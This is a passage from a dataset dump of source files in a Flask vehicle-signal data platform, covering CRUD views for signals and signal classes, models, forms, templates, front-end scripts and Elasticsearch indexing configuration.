red.publish('info', '{} events indexed'.format(i))\n actions = []\n i += 1\n # ,overwrite_existing=True\n # es.index(index=index, doc_type=type, id=i, body=line)\n if i < BULK_SIZE:\n helpers.bulk(es, actions)\n red.publish('info', 'File {} indexed'.format(trace))\n red.publish('info', 'end_trace'.format(trace))\n red.publish('info', 'end_all')\n print('[+] DONE ALL FILES')\n red.publish('info', 'end_all')\n red.connection_pool.disconnect()\n return True\n sys.exit()\n except Exception as e:\n print('Exception: ', e)\n red.publish('info', 'Exception: {}'.format(e))\n return False\n sys.exit()\n\n\n# def realtime_info(info=None):\n# socketio.emit(\n# 'send_info',\n# {\n# 'data': info.get('data', 'No data!'),\n# 'status': info.get('status', 'GREEN')\n# },\n# namespace='/import'\n# )\n" }, { "alpha_fraction": 0.8214285969734192, "alphanum_fraction": 0.8214285969734192, "avg_line_length": 27, "blob_id": "87a24bff92a898a314b1d8fd4bf159fb97449a5a", "content_id": "cbd45b293f8fda71ee62c155e75d5f526886a590", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 28, "license_type": "no_license", "max_line_length": 27, "num_lines": 1, "path": "/app/carboard/__init__.py", "repo_name": "vcar/vcar", "src_encoding": "UTF-8", "text": "from .views import carboard\n" }, { "alpha_fraction": 0.64236980676651, "alphanum_fraction": 0.6456981301307678, "avg_line_length": 37.519229888916016, "blob_id": "9dd5b5e381c26249014d29b03d609631a742b6f5", "content_id": "1812f978380275e9f7d56d5686dd05c78ecadfff", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6009, "license_type": "no_license", "max_line_length": 124, "num_lines": 156, "path": "/app/carboard/views/signalclass.py", "repo_name": "vcar/vcar", "src_encoding": "UTF-8", "text": "import os\n\nfrom flask import (\n render_template, request, flash, redirect, url_for\n)\n\nfrom flask_login import login_required\nfrom sqlalchemy import or_\n\nfrom ..forms.filesignal import FileSignalForm\nfrom . import carboard\nfrom ..models.signalclass import Signalclass\nfrom ..forms.signalclass import SignalclassForm\nfrom ..helpers import paginate, CSVLoader, find_id\nfrom ..constants import PER_PAGE, CSV_TEMP\nfrom ...extensions import db\nfrom ..helpers import upload_csv, remove_csv\n\n\n# --------------------- /carboard/signalclass/ : List of signalclasses ----- #\n\n\[email protected]('/signalclass/')\n@login_required\ndef indexSignalclass():\n signalclasses = Signalclass.query.paginate(\n page=request.args.get('page', 1, type=int),\n per_page=request.args.get('per_page', PER_PAGE, type=int),\n )\n start = (request.args.get('page', 1, type=int) - 1) * PER_PAGE + 1 # get the pagination number to render in the template\n return render_template('carboard/signalclass/index.html', signalclasses=signalclasses, start=start)\n\n\n# ----------------------- /carboard/signalclass/id : Show signalclass ----- #\n\n\[email protected]('/signalclass/<int:id>', methods=['GET'])\n@login_required\ndef showSignalclass(id):\n signalclass = Signalclass.query.get_or_404(id)\n return render_template('carboard/signalclass/show.html', signalclass=signalclass)\n\n\n# ---------------------- /carboard/signalclass/new : Add signalclass -------------------- #\n\[email protected]('/signalclass/bulk-add', methods=['GET', 'POST'])\n@login_required\ndef bulkAddClass():\n form = FileSignalForm()\n errors = None\n if form.validate_on_submit():\n f = upload_csv(form.file.data, CSV_TEMP)\n loader = CSVLoader(os.path.join(CSV_TEMP, form.file.data.filename))\n res = loader.load()\n already_there = False\n try:\n for row in res:\n ret = Signalclass.query.filter_by(name=row['Signal Class'])\n if ret:\n already_there = True\n continue\n signal_class = Signalclass(\n name=row['Signal Class'],\n description=row['Description']\n )\n db.session.add(signal_class)\n db.session.commit()\n remove_csv(form.file.data.filename, CSV_TEMP)\n except KeyError:\n errors = ['Your file is Not well Formated, please review your file structure .']\n if not errors and not already_there:\n flash('Signal classes added Succesfully', 'success')\n if already_there:\n flash('Some Signals are not added because they are already in the database', 'warning')\n return render_template('carboard/signalclass/bulk.html', form=form, errors=errors)\n\n\[email protected]('/signalclass/new', methods=['GET', 'POST'])\n@login_required\ndef newSignalclass():\n \"\"\" Add new signalclass \"\"\"\n form = SignalclassForm()\n if form.validate_on_submit():\n ret = Signalclass.query.filter_by(name=form.name.data).first()\n if ret:\n flash('Signal class {}, already exists in the database.'.format(form.name.data), 'error')\n return redirect(url_for('carboard.indexSignalclass'))\n signalclass = Signalclass(\n name=form.name.data,\n description=form.description.data\n )\n db.session.add(signalclass)\n db.session.commit()\n flash('Signal class {}, added successfully.'.format(form.name.data), 'success')\n return redirect(url_for('carboard.indexSignalclass'))\n\n return render_template('carboard/signalclass/new.html', form=form)\n\n\n# -------------------- /carboard/signalclass/id/edit : Edit signalclass ----------------- #\n\n\[email protected]('/signalclass/<int:id>/edit', methods=['GET', 'POST'])\n@login_required\ndef editSignalclass(id):\n \"\"\" Edit existing signalclass \"\"\"\n signalclass = Signalclass.query.get_or_404(id)\n form = SignalclassForm(obj=signalclass)\n if form.validate_on_submit():\n form.populate_obj(signalclass)\n db.session.commit()\n flash('Signal class {}, updated successfully.'.format(form.name.data), 'success')\n return redirect(url_for('carboard.showSignalclass', id=id))\n\n return render_template('carboard/signalclass/edit.html', form=form, id=id)\n\n\n# ------------------ /carboard/signalclass/id/delete : Delete signalclass --------------- #\n\n\[email protected]('/signalclass/<int:id>/toggle', methods=['GET'])\n@login_required\ndef toggleSignalclass(id):\n signalclass = Signalclass.query.get_or_404(id)\n status = signalclass.status if signalclass.status is not None else 0\n signalclass.status = 1 - status\n db.session.commit()\n msg = 'activated' if signalclass.status is 1 else 'deactivated'\n flash('Signal class {}, {} successfully.'.format(signalclass.name, msg), 'success')\n return redirect(url_for('carboard.indexSignalclass'))\n\n\n# ------------------ /carboard/signalclass/id/delete : Delete signalclass --------------- #\n\n\[email protected]('/signalclass/<int:id>/delete', methods=['GET'])\n@login_required\ndef deleteSignalclass(id):\n signalclass = Signalclass.query.get_or_404(id)\n db.session.delete(signalclass)\n db.session.commit()\n flash('Signal class {}, deleted successfully.'.format(signalclass.name), 'success')\n return redirect(url_for('carboard.indexSignalclass'))\n\n# ------------------ /carboard/signalclass/search?table_seach=?: Search for given signal class --------------- #\n\[email protected]('/signalclass/search', methods=['GET'])\n@login_required\ndef searchSignalClass():\n param = request.args.get('table_search')\n signalclasses = Signalclass.query.filter(\n or_(Signalclass.name.like('%' + param + '%'), Signalclass.description.like('%' + param + '%'))).paginate(\n page=request.args.get('page', 1, type=int),\n per_page=request.args.get('per_page', PER_PAGE, type=int),\n )\n return render_template('carboard/signalclass/search.html', signalclasses=signalclasses)\n" }, { "alpha_fraction": 0.5967857837677002, "alphanum_fraction": 0.6005165576934814, "avg_line_length": 37.29121017456055, "blob_id": "baaa5176944e295085e8731dede29716da32b573", "content_id": "da1b08c91ab76f503c2693171c986df36aecd042", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6969, "license_type": "no_license", "max_line_length": 130, "num_lines": 182, "path": "/app/carboard/views/signal.py", "repo_name": "vcar/vcar", "src_encoding": "UTF-8", "text": "from flask import (\n render_template, request, flash, redirect, url_for\n)\nfrom flask_login import login_required\nimport os\n\nfrom sqlalchemy import or_\n\nfrom . import carboard\nfrom ..models.signal import Signal\nfrom ..models.signalclass import Signalclass\nfrom ..models.signalsource import Signalsource\nfrom ..forms.signal import SignalForm\nfrom ..forms.filesignal import FileSignalForm\nfrom ..helpers import paginate, choices, CSVLoader, find_id, types, get_signal_from_form\nfrom ..constants import PER_PAGE, CSV_TEMP\nfrom ...extensions import db\nfrom ..helpers import upload_csv, remove_csv\n\n\n# --------------------- /carboard/signal/ : List of signals ----- #\n\n\[email protected]('/signal/')\n@login_required\ndef indexSignal():\n signals = Signal.query.paginate(\n page=request.args.get('page', 1, type=int),\n per_page=request.args.get('per_page', PER_PAGE, type=int),\n )\n start = (request.args.get('page', 1, type=int) - 1) * PER_PAGE + 1 # get the pagination start number to render in the template\n return render_template('carboard/signal/index.html', signals=signals, start=start)\n\n\n# ----------------------- /carboard/signal/id : Show signal ----- #\n\n\[email protected]('/signal/<int:id>', methods=['GET'])\n@login_required\ndef showSignal(id):\n signal = Signal.query.get_or_404(id)\n return render_template('carboard/signal/show.html', signal=signal)\n\n\n# ---------------------- /carboard/signal/new : Add signal -------------------- #\n\n\[email protected]('/signal/new', methods=['GET', 'POST'])\n@login_required\ndef newSignal():\n \"\"\" Add new signal \"\"\"\n form = SignalForm()\n form.signalclass_id.choices = choices(Signalclass, 'Select signal class', 1)\n form.signalsource_id.choices = choices(Signalsource, 'Select signal source', 1)\n form.type.choices = types()\n if form.validate_on_submit():\n signal = get_signal_from_form(form);\n db.session.add(signal)\n db.session.commit()\n flash('Signal {}, added successfully.'.format(form.name.data), 'success')\n return redirect(url_for('carboard.indexSignal'))\n\n return render_template('carboard/signal/new.html', form=form)\n\n\n# ---------------------- /carboard/signal/bulk-add : Add signals from file -------------------- #\n\[email protected]('/signal/bulk-add', methods=['GET', 'POST'])\n@login_required\ndef bulkAdd():\n form = FileSignalForm()\n errors = None\n print(request.form.getlist('files'))\n if form.validate_on_submit():\n f = upload_csv(form.file.data, CSV_TEMP)\n loader = CSVLoader(os.path.join(CSV_TEMP, form.file.data.filename))\n res = loader.load()\n already_there = False\n try:\n for row in res:\n print(row)\n signal_class_id = find_id(Signalclass, row['Signal Class'])\n signal_source_id = find_id(Signalsource, row['Signal Source'])\n\n if signal_class_id == -1 or signal_source_id == -1:\n if not errors: errors = [] # lazy instatiation\n errors.append('The Signal ' + row[\n 'Signal Name'] + ' could not be added because of invalid Signal Class or Signal Source ')\n continue\n ret = Signal.query.filter_by(\n name=row['Signal Name']).all() # check if a signal with the same name already exists\n same = False\n for sig in ret:\n if sig.signalsource_id == signal_source_id:\n same = True\n break\n if same:\n already_there = True\n continue\n signal = Signal(\n name=row['Signal Name'],\n signalclass_id=signal_class_id,\n signalsource_id=signal_source_id,\n frequency=row['Frequency'],\n type=row['Type'],\n description=row['Description'],\n unit=row['Unit']\n )\n signal.range = row['Range']\n db.session.add(signal)\n db.session.commit()\n except KeyError:\n errors = ['Your file is Not well Formated, please review your file structure .']\n remove_csv(form.file.data.filename, CSV_TEMP)\n if not errors: flash('Signals Added Successfully !', 'success')\n if already_there:\n flash('Some Signals are not added because they are already in the database', 'warning')\n return render_template('carboard/signal/bulk.html', form=form, errors=errors)\n\n\n# -------------------- /carboard/signal/id/edit : Edit signal ----------------- #\n\n\[email protected]('/signal/<int:id>/edit', methods=['GET', 'POST'])\n@login_required\ndef editSignal(id):\n \"\"\" Edit existing signal \"\"\"\n signal = Signal.query.get_or_404(id)\n form = SignalForm(obj=signal)\n print(form.data)\n form.signalclass_id.choices = choices(Signalclass, 'Select signal class', 1)\n form.signalsource_id.choices = choices(Signalsource, 'Select signal source', 1)\n form.type.choices = types()\n if form.validate_on_submit():\n form.populate_obj(signal)\n db.session.commit()\n flash('Signal {}, updated successfully.'.format(form.name.data), 'success')\n return redirect(url_for('carboard.showSignal', id=id))\n\n return render_template('carboard/signal/edit.html', form=form, id=id)\n\n\n# ------------------ /carboard/signal/id/delete : Delete signal --------------- #\n\n\[email protected]('/signal/<int:id>/toggle', methods=['GET'])\n@login_required\ndef toggleSignal(id):\n signal = Signal.query.get_or_404(id)\n status = signal.status if signal.status is not None else 0\n signal.status = 1 - status\n db.session.commit()\n msg = 'activated' if signal.status is 1 else 'deactivated'\n flash('Signal {}, {} successfully.'.format(signal.name, msg), 'success')\n return redirect(url_for('carboard.indexSignal'))\n\n\n# ------------------ /carboard/signal/id/delete : Delete signal --------------- #\n\n\[email protected]('/signal/<int:id>/delete', methods=['GET'])\n@login_required\ndef deleteSignal(id):\n signal = Signal.query.get_or_404(id)\n db.session.delete(signal)\n db.session.commit()\n flash('Signal {}, deleted successfully.'.format(signal.name), 'success')\n return redirect(url_for('carboard.indexSignal'))\n\n# ------------------ /carboard/signal/search : signal lookup (by description or name) --------------- #\n\[email protected]('/signal/search', methods=['GET'])\n@login_required\ndef searchSignal():\n param = request.args.get('table_search')\n signals = Signal.query.filter(\n or_(Signal.name.like('%' + param + '%'), Signal.description.like('%' + param + '%')))\\\n .paginate(\n page=request.args.get('page', 1, type=int),\n per_page=request.args.get('per_page', PER_PAGE, type=int),\n )\n return render_template('carboard/signal/search.html', signals=signals)\n" }, { "alpha_fraction": 0.5780312418937683, "alphanum_fraction": 0.5906362533569336, "avg_line_length": 33.020408630371094, "blob_id": "9a492fccd9548024ae59843749c070cd8a101cbb", "content_id": "9b0963d9b97b7efab423e30b1b62366f383d0beb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1666, "license_type": "no_license", "max_line_length": 90, "num_lines": 49, "path": "/app/carboard/models/dataset.py", "repo_name": "vcar/vcar", "src_encoding": "UTF-8", "text": "import re\nfrom datetime import datetime\n#from ..helpers import slugify\nfrom unicodedata import normalize\n\nfrom ...extensions import db\n\n# -------------------------------- Brand Model ------------------------------ #\n\ndef slugify(text, delim=u'-'):\n \"\"\"Generates an slightly worse ASCII-only slug.\"\"\"\n result = []\n _punct_re = re.compile(r'[\\t !\"#$%&\\'()*\\-/<=>?@\\[\\\\\\]^_`{|},.]+')\n for word in _punct_re.split(text.lower()):\n word = normalize('NFKD', word).encode('ascii', 'ignore')\n if word:\n result.append(word)\n try:\n return unicode(delim.join(result))\n except:\n d = d = bytes(delim, 'utf-8')\n return str(d.join(result).decode(\"utf-8\"))\nclass Dataset(db.Model):\n \"\"\" Dataset Model \"\"\"\n __tablename__ = 'datasets'\n\n id = db.Column(db.Integer, primary_key=True)\n name = db.Column(db.String(255))\n slug = db.Column(db.String(255))\n description = db.Column(db.String(255))\n author = db.Column(db.String(255), nullable=True)\n lab = db.Column(db.String(255), nullable=True)\n website = db.Column(db.String(255), nullable=True)\n\n article = db.relationship(\"Article\", uselist=False, back_populates=\"dataset\")\n\n status = db.Column(db.SmallInteger, default=1)\n created = db.Column(db.DateTime(), default=datetime.utcnow())\n\n def __init__(self, name, description, slug=None, author=None, lab=None, website=None):\n self.name = name\n self.slug = slug if slug != '' else slugify(name, '_')\n self.description = description\n self.author = author\n self.lab = lab\n self.website = website\n\n def __repr__(self):\n return self.name" }, { "alpha_fraction": 0.419380247592926, "alphanum_fraction": 0.42121848464012146, "avg_line_length": 44.33333206176758, "blob_id": "f6a37bc13016cf26ff98afb567e3b74f30dbdb84", "content_id": "45d8010a6817d397c547b2463a3cc6f80ddaf1d9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "HTML", "length_bytes": 3808, "license_type": "no_license", "max_line_length": 205, "num_lines": 84, "path": "/templates/carboard/record/index.html", "repo_name": "vcar/vcar", "src_encoding": "UTF-8", "text": "{% extends \"layout.html\" %}\n\n{% from \"carboard/macros.html\" import render_pagination %}\n\n{% block title %}\n List of records | {{ super() }}\n{% endblock %}\n\n{% block content_header %}\n\t<section class=\"content-header\">\n\t\t<h1>\n\t\tList of records\n\t\t</h1>\n\t\t<ol class=\"breadcrumb\">\n\t\t\t<li><a href=\"{{ url_for('carboard.index') }}\"><i class=\"fa fa-dashboard\"></i>Home</a></li>\n\t\t\t<li><a href=\"{{ url_for('carboard.indexRecord') }}\">Record</a></li>\n\t\t\t<li class=\"active\">List of records</li>\n\t\t</ol>\n\t</section>\n{% endblock content_header %}\n\n{% block content %}\n\n <div class=\"row\">\n <div class=\"col-md-12\">\n <div class=\"box\">\n <div class=\"box-header\">\n <div class=\"box-actions\">\n <a href=\"{{ url_for('carboard.newRecord') }}\" class=\"btn btn-primary\">\n Add new record\n </a>\n </div>\n <div class=\"box-tools\">\n <div class=\"input-group input-group-sm\" style=\"width: 150px;\">\n <input type=\"text\" name=\"table_search\" class=\"form-control pull-right\" placeholder=\"Search\">\n\n <div class=\"input-group-btn\">\n <button type=\"submit\" class=\"btn btn-default\">\n <i class=\"fa fa-search\"></i>\n </button>\n </div>\n </div>\n </div>\n </div>\n <div class=\"box-body no-padding\">\n <table class=\"table table-hover\">\n <tr>\n <th>ID</th>\n <th>Name</th>\n <th>Record file</th>\n <th>User</th>\n <th>Drive type</th>\n <th>Status</th>\n <th>Actions</th>\n </tr>\n\n {% for record in records.items %}\n <tr>\n <td><a href=\"{{ url_for('carboard.showRecord', id=record.id) }}\">{{ record.id }}</a></td>\n <td>{{ record.name | default('--') }}</td>\n <td><a href=\"/static{{ config.UPLOAD_RECORDS}}{{ record.trace}}\" target=\"_blank\">Get File</a></td>\n <td>{{ record.user.username }}</td>\n <td>{{ record.drivetype.name }}</td>\n <td><span class=\"label bg-{{ record.status.color }}\">{{ record.status.title }}</span></td>\n <td>\n <a href=\"{{ url_for('carboard.showRecord', id=record.id) }}\" class=\"btn btn-default btn-sm\" data-toggle=\"tooltip\" title=\"Show\"><i class=\"fa fa-eye\"></i></a>\n\n <a href=\"{{ url_for('carboard.toggleRecord', id=record.id) }}\" class=\"btn btn-warning btn-sm\" data-toggle=\"tooltip\" title=\"Toggle status\"><i class=\"fa fa-toggle-on\"></i></a>\n\n <a href=\"{{ url_for('carboard.editRecord', id=record.id) }}\" class=\"btn btn-success btn-sm\" data-toggle=\"tooltip\" title=\"Edit\"><i class=\"fa fa-pencil\"></i></a>\n\n <a href=\"{{ url_for('carboard.deleteRecord', id=record.id) }}\" class=\"btn btn-danger btn-sm\" data-toggle=\"tooltip\" title=\"Remove\"><i class=\"fa fa-trash\"></i></a>\n </td>\n </tr>\n {% endfor %}\n </table>\n </div>\n <div class=\"box-footer clearfix\">\n {{render_pagination(records)}}\n </div>\n </div>\n </div>\n </div>\n{% endblock %}\n" }, { "alpha_fraction": 0.8381876945495605, "alphanum_fraction": 0.8414239287376404, "avg_line_length": 16.16666603088379, "blob_id": "366ec87651506558b0771b21ad3ba92c65fc169d", "content_id": "aac0bdbfb0352de358003fc56c246dca574270eb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 309, "license_type": "no_license", "max_line_length": 57, "num_lines": 18, "path": "/requirements3.txt", "repo_name": "vcar/vcar", "src_encoding": "UTF-8", "text": "elasticsearch\nFlask\nFlask-Bcrypt\nFlask-Cache\nFlask-DebugToolbar\nFlask-Login\nFlask-Mail\nFlask-Migrate\nFlask-Redis\nFlask-Script\nFlask-SQLAlchemy\nFlask-WTF\nFlask-Misaka\nmarshmallow\nnetworkx\nPyYAML\nhttps://github.com/mikeboers/Flask-Images/archive/py3.zip\nhttps://github.com/vcar/flask-plugins/archive/master.zip\n" }, { "alpha_fraction": 0.6060874462127686, "alphanum_fraction": 0.6111111044883728, "avg_line_length": 32.17647171020508, "blob_id": "eb1e776adb1be26feb555a982ecf5c8e509f2ad1", "content_id": "3449cba5979d061a951c708a7126fe322a0c116f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3384, "license_type": "no_license", "max_line_length": 85, "num_lines": 102, "path": "/app/carboard/views/country.py", "repo_name": "vcar/vcar", "src_encoding": "UTF-8", "text": "from flask import (\n render_template, request, flash, redirect, url_for\n)\nfrom flask_login import login_required\n\nfrom . import carboard\nfrom ..models.country import Country\nfrom ..forms.country import CountryForm\nfrom ..helpers import paginate\nfrom ..constants import PER_PAGE\nfrom ...extensions import db\n\n\n# --------------------- /carboard/country/ : List of countries ------------------ #\n\[email protected]('/country/')\n@login_required\ndef indexCountry():\n countries = Country.query.paginate(\n page=request.args.get('page', 1, type=int),\n per_page=request.args.get('per_page', PER_PAGE, type=int),\n )\n return render_template('carboard/country/index.html',\n countries=countries\n )\n\n# ----------------------- /carboard/country/id : Show country ------------------- #\n\n\[email protected]('/country/<int:id>', methods=['GET'])\n@login_required\ndef showCountry(id):\n country = Country.query.get_or_404(id)\n return render_template('carboard/country/show.html',\n country=country\n )\n\n# ---------------------- /carboard/country/new : Add country -------------------- #\n\n\[email protected]('/country/new', methods=['GET', 'POST'])\n@login_required\ndef newCountry():\n \"\"\" Add new country \"\"\"\n\n form = CountryForm()\n\n if form.validate_on_submit():\n country = Country(\n title=form.title.data,\n code=form.code.data\n )\n db.session.add(country)\n db.session.commit()\n flash('Country {}, added successfully.'.format(form.title.data), 'success')\n return redirect(url_for('carboard.indexCountry'))\n\n return render_template('carboard/country/new.html', form=form)\n\n# -------------------- /carboard/country/id/edit : Edit country ----------------- #\n\n\[email protected]('/country/<int:id>/edit', methods=['GET', 'POST'])\n@login_required\ndef editCountry(id):\n \"\"\" Edit existing country \"\"\"\n country = Country.query.get_or_404(id)\n form = CountryForm(obj=country)\n if form.validate_on_submit():\n form.populate_obj(country)\n db.session.commit()\n flash('Country {}, updated successfully.'.format(form.title.data), 'success')\n return redirect(url_for('carboard.showCountry', id=id))\n\n return render_template('carboard/country/edit.html', form=form, id=id)\n\n# ------------------ /carboard/country/id/delete : Delete country --------------- #\n\n\[email protected]('/country/<int:id>/toggle', methods=['GET'])\n@login_required\ndef toggleCountry(id):\n country = Country.query.get_or_404(id)\n # getattr(country, 'status', 0)\n status = country.status if country.status is not None else 0;\n country.status = 1 - status\n db.session.commit()\n msg = 'activated' if country.status is 1 else 'deactivated'\n flash('Country {}, {} successfully.'.format(country.title, msg), 'success')\n return redirect(url_for('carboard.indexCountry'))\n\n# ------------------ /carboard/country/id/delete : Delete country --------------- #\n\n\[email protected]('/country/<int:id>/delete', methods=['GET'])\n@login_required\ndef deleteCountry(id):\n country = Country.query.get_or_404(id)\n db.session.delete(country)\n db.session.commit()\n flash('Country {}, deleted successfully.'.format(country.title), 'success')\n return redirect(url_for('carboard.indexCountry'))\n" }, { "alpha_fraction": 0.4561251103878021, "alphanum_fraction": 0.4610483646392822, "avg_line_length": 26.84677505493164, "blob_id": "e7193cef92a958ea6a0e8739690836f80a468f5d", "content_id": "592b9aface79d7c43abfb780f50743e11cf15031", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 3453, "license_type": "no_license", "max_line_length": 95, "num_lines": 124, "path": "/static/js/scripts/main.js", "repo_name": "vcar/vcar", "src_encoding": "UTF-8", "text": "/*\n * Main JS application file : app.js\n * =========================\n */\n\n$(document).ready(function() {\n // Switch Theme -------------------------------------------------------------\n // if ($.cookie(\"dark-theme\")) {\n // $('body').removeClass(\"light\").addClass(\"dark\");\n // $('#switch-mode').html('<i class=\"fa fa-sun-o\"></i> Light mode');\n // } else {\n // $('body').removeClass(\"dark\").addClass(\"light\");\n // $('#switch-mode').html('<i class=\"fa fa-moon-o\"></i> Dark mode');\n // }\n $('#switch-mode').click(function() {\n if ($.cookie(\"dark-theme\")) {\n $.removeCookie(\"dark-theme\", {\n path: '/'\n });\n $('#switch-mode').html('<i class=\"fa fa-moon-o\"></i> Dark mode');\n } else {\n $.cookie(\"dark-theme\", 1, {\n expires: 365,\n path: '/'\n });\n $('#switch-mode').html('<i class=\"fa fa-sun-o\"></i> Light mode');\n }\n location.reload();\n });\n\n // Switch Sidebar ---------------------------------------------------------\n // if ($.cookie(\"sidebar-collapse\")) {\n // $('body').removeClass(\"light\").addClass(\"dark\");\n // $('#switch-mode').html('<i class=\"fa fa-sun-o\"></i> Light mode');\n // } else {\n // $('body').removeClass(\"dark\").addClass(\"light\");\n // $('#switch-mode').html('<i class=\"fa fa-moon-o\"></i> Dark mode');\n // }\n $('#switch-sidebar').click(function() {\n if ($.cookie(\"sidebar-collapse\")) {\n $.removeCookie(\"sidebar-collapse\", {\n path: '/'\n });\n $('#switch-sidebar').html('<i class=\"fa fa-minus-square-o\"></i> Collapse sidebar');\n } else {\n $.cookie(\"sidebar-collapse\", 1, {\n expires: 365,\n path: '/'\n });\n $('#switch-sidebar').html('<i class=\"fa fa-plus-square-o\"></i> Expand sidebar');\n }\n location.reload();\n });\n});\n\n\n\n\n\n\n\n\n\nvar toastr = window.toastr;\ntoastr.options = {\n closeButton: false,\n closeEasing: 'swing',\n // showMethod: 'slideUp',\n closeMethod: 'slideDown',\n positionClass: 'toast-bottom-right',\n progressBar: false\n};\n\n/* turning flask flash messages into js popup notifications */\n\nwindow.popupMessages.forEach(function(m, i) {\n var category = m[0];\n var text = m[1];\n setTimeout(function() {\n switch (category) {\n case 'success':\n toastr.success(text);\n break;\n case 'warning':\n toastr.warning(text);\n break;\n case 'error':\n toastr.error(text);\n break;\n default:\n toastr.info(text);\n break;\n }\n }, (1 + i) * 1500);\n});\n\n$(window).load(function() {\n\n $('.full').click(function(e) {\n console.log(\"Clicked\");\n $('.vcar-box').toggleClass('fullscreen');\n });\n\n});\n\n$(function() {\n\n $('input').iCheck({\n checkboxClass: 'icheckbox_square-orange',\n radioClass: 'iradio_square-orange',\n increaseArea: '20%' // optional\n });\n\n // var iradio = $('.iradio_square-orange');\n // if(iradio.hasClass('.checked')){\n // \tiradio.closest('.btn-vcar').addClass('active');\n // }\n\n //Confirmation\n $('[data-toggle=confirmation]').confirmation({\n rootSelector: '[data-confirm=confirmation]',\n });\n\n});\n" }, { "alpha_fraction": 0.5389671325683594, "alphanum_fraction": 0.5389671325683594, "avg_line_length": 23.76744270324707, "blob_id": "fb7793fb23684894a6ce6650975d975e87935973", "content_id": "447c64f2dcd99670a16a62c77c4a8bbe95994157", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1065, "license_type": "no_license", "max_line_length": 79, "num_lines": 43, "path": "/app/frontend/views.py", "repo_name": "vcar/vcar", "src_encoding": "UTF-8", "text": "import os\nimport signal\nfrom flask import Blueprint, request, render_template\n\nfrontend = Blueprint('frontend', __name__, url_prefix='/')\n\n# ------------------------------- /api/ : Api ------------------------------- #\n\n\[email protected]('/')\ndef index():\n home = {\n 'title': \"xx\",\n 'sub_title': \"sub title\",\n 'Other': \" bla bla bla ...\"\n }\n return render_template('frontend/index.html')\n\n\n# ---------------------------- /kill : kill Server ------------------------- #\n\n\[email protected]('about')\ndef about():\n return \"About : vCar Platform !\"\n\n\n# ---------------------------- /kill : kill Server ------------------------- #\n\n\[email protected]('kill')\ndef killo():\n func = request.environ.get('werkzeug.server.shutdown')\n if func is None:\n raise RuntimeError('Not running with the Werkzeug Server')\n func()\n return \"Flask Development Server killed successfully!\"\n\n\[email protected]('restart')\ndef restart_server():\n os.kill(os.getpid(), signal.SIGHUP)\n return \"Flask Development Server restarted successfully!\"\n" }, { "alpha_fraction": 0.5096439123153687, "alphanum_fraction": 0.5126112699508667, "avg_line_length": 23.962963104248047, "blob_id": "3c5e55c6c34403e5a9ed2be121d7d16c7d48db14", "content_id": "ed231a271f985e26e73b1a36217da63584c8b097", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1348, "license_type": "no_license", "max_line_length": 86, "num_lines": 54, "path": "/app/carboard/forms/article.py", "repo_name": "vcar/vcar", "src_encoding": "UTF-8", "text": "from flask_wtf import FlaskForm\nfrom wtforms import StringField, DateField\nfrom wtforms.validators import ValidationError, DataRequired, Optional, Regexp, Length\nfrom ..models.article import Article\n\n# ------------------------ custom validation methods ------------------------ #\n\n\ndef article_exist(form, field):\n if Article.select().where(Article.name == field.data).exists():\n raise ValidationError('Article already exists !')\n\n# ---------------------------- Article form classes ------------------------- #\n\n\nclass ArticleForm(FlaskForm):\n \"\"\" Article add/edit FlaskForm \"\"\"\n name = StringField(\n 'Name',\n validators=[\n DataRequired(),\n Length(min=3, max=255),\n Regexp(\n r'^[a-zA-Z_\\- ]+$',\n message=(\"Article name is not correct !\")\n ),\n ]\n )\n abstract = StringField(\n 'Abstract',\n validators=[\n DataRequired(),\n ]\n )\n authors = StringField(\n 'Authors',\n )\n keywords = StringField(\n 'Keywords',\n )\n publication_date = DateField(\n 'Date of publication',\n format='%d/%m/%Y',\n validators=[\n Optional(),\n ]\n )\n\n reference = StringField(\n 'Reference',\n )\n link = StringField(\n 'Link to article',\n )\n" }, { "alpha_fraction": 0.3785078823566437, "alphanum_fraction": 0.4024640619754791, "avg_line_length": 23.74576187133789, "blob_id": "6c91f9db43fd964e40359401a63933f16b11ec99", "content_id": "5bf76b0f45028a4428f115f216fb0feea108fdcd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1461, "license_type": "no_license", "max_line_length": 81, "num_lines": 59, "path": "/app/importer/platforms/openxc/constants.py", "repo_name": "vcar/vcar", "src_encoding": "UTF-8", "text": "\n# -------------------- Redis constants -------------------------------------- #\nREDIS_HOST = '127.0.0.1' # default config when runing inside a virtualenv\n# REDIS_HOST = 'redis' # docker links\nREDIS_PORT = 6379\nREDIS_DB = 1\n\n# -------------------- Elasticsearch constants ------------------------------ #\n\n# basic configuration\nELASTICSEARCH_HOST = '127.0.0.1' # default config when runing inside a virtualenv\n# ELASTICSEARCH_HOST = 'elastic' # docker links\nELASTICSEARCH_PORT = 9200\n\n# indexing configuration\nOPENXC_INDEX = 'openxc'\nBULK_SIZE = 10000\n\n# -------------------- Driver Graph Configuration --------------------------- #\nTRANSFORM = {\n -1: \"reverse\",\n 0: \"neutral\",\n 1: \"first\",\n 2: \"second\",\n 3: \"third\",\n 4: \"fourth\",\n 5: \"fifth\",\n 6: \"sixth\",\n 7: \"seventh\"\n}\n\nMAPPING = {\n \"platform\": {\n \"properties\": {\n \"user\": {\n \"type\": \"integer\"\n },\n \"vehicle\": {\n \"type\": \"integer\"\n },\n \"driver\": {\n \"type\": \"integer\"\n },\n \"class\": {\n \"type\": \"string\"\n },\n \"name\": {\n \"type\": \"string\",\n \"index\": \"not_analyzed\"\n },\n \"value\": {\n \"type\": \"string\",\n \"index\": \"not_analyzed\"\n },\n \"timestamp\": {\n \"type\": \"date\"\n }\n }\n }\n}\n" }, { "alpha_fraction": 0.43503835797309875, "alphanum_fraction": 0.4544757008552551, "avg_line_length": 33.54545593261719, "blob_id": "bb1f8eaa1602381a1358f7757141fa52962ce10e", "content_id": "8859099511b3b8d8ca2eb2366c61e7a91015e2bd", "detected_licenses": [], 